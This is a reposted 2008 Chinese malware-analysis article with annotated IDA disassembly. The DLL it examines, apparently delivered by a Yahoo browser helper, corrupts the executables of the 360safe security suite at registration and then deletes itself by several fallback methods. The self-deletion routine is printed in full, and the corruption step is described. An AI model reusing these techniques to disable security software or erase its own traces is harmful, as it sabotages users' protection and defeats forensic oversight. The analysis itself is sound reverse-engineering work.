天下网吧 >> 网吧天地 >> 网吧技术 >> 网吧安全 >> 正文

Yahoo上网助手自杀式破坏360safe的程序代码分析

2008-2-18cnbeta佚名

  MJ0011原创 转载注明哦!
  =================================
  注意:此文为技术分析,不带任何偏向立场
  由本文反汇编某厂商的病毒文件或曰恶意竞争文件而导致的任何法律问题,本人一概不负责
  =================================

  

  看到刚才有朋友投递的
  独家!触目惊心:记雅虎对360安全卫士的自杀式攻击程序
  
  我将文中那个cab文件download了下来 解压得patch34.dll(内部名称是patch33.dll,看来升级得太快,程序员连版本信息也没改就发布了)
  
  
  使用反汇编工具ida 5.0,发现了一些有意思的东西,现摘录如下:
  我自己加了一些注释
  
  
  ; Exported entry   1. DllRegisterServer
  ;DLL注册时要干下面的事
  
  
  
  ; HRESULT DllRegisterServer(void)
  public DllRegisterServer
  DllRegisterServer proc near
  push    offset s_360safe ; "360safe"
  ;呵呵,这是要干嘛呢?
  call    sub_10001477--->去调用这个子程序
  pop     ecx
  push    hModule         ; hModule
  call    sub_10001291
  push    1
  pop     eax
  retn
  DllRegisterServer endp
  
  
  
  下面来看push了360safe后 sub_10001477这个子程序干嘛去了
  
  
  
  ; Attributes: bp-based frame
  
  
  sub_10001477 proc near
  
  
  FindFileData= _WIN32_FIND_DATAA ptr -350h
  pvData= dword ptr -210h
  FileName= byte ptr -10Ch
  pdwType= dword ptr -8
  pcbData= dword ptr -4
  arg_0= dword ptr  8
  ;此处arg_0就是刚才被push的/360safe
  
  
  
  push ebp
  mov ebp, esp
  sub esp, 350h
  and byte ptr [ebp+pvData], 0
  push esi
  push edi
  push 40h
  pop ecx
  xor eax, eax
  lea edi, [ebp+pvData+1]
  and [ebp+FileName], 0
  rep stosd
  stosw
  stosb
  push 40h
  xor eax, eax
  pop ecx
  lea edi, [ebp-10Bh]
  rep stosd
  stosw
  stosb
  lea eax, [ebp+pcbData]
  mov esi, 103h
  push eax  ; pcbData
  lea eax, [ebp+pvData]
  push eax  ; pvData
  lea eax, [ebp+pdwType]
  push eax  ; pdwType
  push offset pszValue ; "ProgramFilesDir"
  
  
  ;push要取的注册表键值
  
  
  push offset pszSubKey ; "'SOFTWAREMicrosoftWindowsCurrentVersion"
  
  
  ;push子键值
  
  
  push 80000002h ; hkey
  mov [ebp+pcbData], esi
  mov [ebp+pdwType], 1
  call ds:SHGetValueA
  
  
  ;获得SOFTWAREMicrosoftWindowsCurrentVersionProgramFilesDir这个注册表键的内容
  ;其实也就是系统程序文件夹的位置
  
  
  push [ebp+arg_0]
  
  
  ;将获得的程序文件夹位置+arg_0(360safe)
  ;得到360safe安装文件夹地址
  
  
  
  lea eax, [ebp+pvData]
  push eax
  push offset s_SS_exe ; "%s%s*.exe"
  lea eax, [ebp+FileName]
  push esi  ; size_t
  push eax  ; char *
  call __snprintf
  and [ebp+FindFileData.dwFileAttributes], 0
  
  
  ;查找360安装目录下所有*.exe文件
  
  
  add esp, 14h
  xor eax, eax
  lea edi, [ebp+FindFileData.ftCreationTime]
  push 4Fh
  pop ecx
  rep stosd
  lea eax, [ebp+FindFileData]
  push eax  ; lpFindFileData
  lea eax, [ebp+FileName]
  push eax  ; lpFileName
  call ds:FindFirstFileA
  mov edi, eax
  cmp edi, 0FFFFFFFFh
  jz short loc_10001579
  
  
  ;此处为查找文件的循环判断
  
  
  loc_10001531:
  lea eax, [ebp+FindFileData.cFileName]
  push eax
  lea eax, [ebp+pvData]
  push [ebp+arg_0]
  push eax
  push offset s_SSS ; "%s%s%s"
  lea eax, [ebp+FileName]
  push esi  ; size_t
  push eax  ; char *
  call __snprintf
  lea eax, [ebp+FileName]
  push eax  ; char *
  call sub_100013F7
  
  
  ;如果找到了.exe文件,那么开始对其进行破坏
  ;sub_10013f7这个子程序的作用是破坏给定的EXE文件
  ;时间关系不列出代码了
  ;说一下大概流程
  ;将push入的文件路径用r+模式打开,然后自己判断pe相关信息,最后写入破坏后的pe结构,导致exe文件无法执行,提示非可执行文件
  
  
  
  add esp, 1Ch
  lea eax, [ebp+FindFileData]
  push eax  ; lpFindFileData
  push edi  ; hFindFile
  call ds:FindNextFileA
  test eax, eax
  jnz short loc_10001531
  test edi, edi
  jz short loc_10001580
  
  
  loc_10001579:  ; hFindFile
  push edi
  call ds:FindClose
  
  
  loc_10001580:
  pop edi
  pop esi
  leave
  retn
  sub_10001477 endp
  
  
  
  完成对360safe的可执行程序破坏后
  开始执行
  push    hModule         ; hModule
  call    sub_10001291
  
  
  在 sub_10001291中
  
  
  该dll将利用rundll32.exe将自己加载为一个进程执行
  并进行自毁,自毁代码如下:(参数为自己的dll名)
  
  
  
  ; int __cdecl sub_1000102E(LPCSTR lpExistingFileName,char)
  sub_1000102E proc near
  
  
  lpExistingFileName= dword ptr  4
  arg_4= byte ptr  8
  
  
  cmp [esp+arg_4], 0
  jnz short loc_1000104F
  push [esp+lpExistingFileName] ; lpFileName
  call ds:DeleteFileA
  
  
  ;;首先执行delete file
  ;;如果失败则跑到loc_10001047
  ;;成功则返回
  
  
  cmp eax, 1
  jnz short loc_10001047
  xor eax, eax
  retn
  
  
  loc_10001047:
  call ds:GetLastError
  jmp short loc_10001052
  
  
  loc_1000104F:
  push 5
  pop eax
  
  
  loc_10001052:
  cmp eax, 5
  jz short loc_10001060
  cmp eax, 20h
  jz short loc_10001060
  push 1
  jmp short loc_10001079
  
  
  ;;使用win32下强大滴移除文件函数MoveFileExA对自己进行删除
  ;;不信自杀不了了我
  
  
  loc_10001060:
  call sub_10001000
  test eax, eax
  jz short loc_1000107B
  push 4  ; dwFlags
  push 0  ; lpNewFileName
  push [esp+8+lpExistingFileName] ; lpExistingFileName
  call ds:MoveFileExA
  push 2
  
  
  loc_10001079:
  pop eax
  retn
  
  
  loc_1000107B:
  push 0
  push [esp+4+lpExistingFileName]
  call sub_10001093
  
  
  ;;靠,还删不掉
  ;;我把自己写到wininit.ini里的rename里去,重启后自动删除
  ;;可一定要毁尸灭迹呀!
  
  
  
  pop ecx
  pop ecx
  xor ecx, ecx
  test eax, eax
  setnz cl
  inc ecx
  mov eax, ecx
  retn
  sub_1000102E endp
  
  
  综上,这个dll做的事主要就是干掉360SAFE的所有可执行文件,然后自毁
  
  呵呵,真是杀人不留痕呀

欢迎访问最专业的网吧论坛,无盘论坛,网吧经营,网咖管理,网吧专业论坛https://bbs.txwb.com

关注天下网吧微信,了解网吧网咖经营管理,安装维护:


本文来源:cnbeta 作者:佚名

声明
本文来源地址:0
声明:本站所发表的文章、评论及图片仅代表作者本人观点,与本站立场无关。若文章侵犯了您的相关权益,请及时与我们联系,我们会及时处理,感谢您对本站的支持!联系Email:support@txwb.com.,本站所有有注明来源为天下网吧或天下网吧论坛的原创作品,各位转载时请注明来源链接!
天下网吧·网吧天下
  • 本周热门
  • 本月热门
  • 阅读排行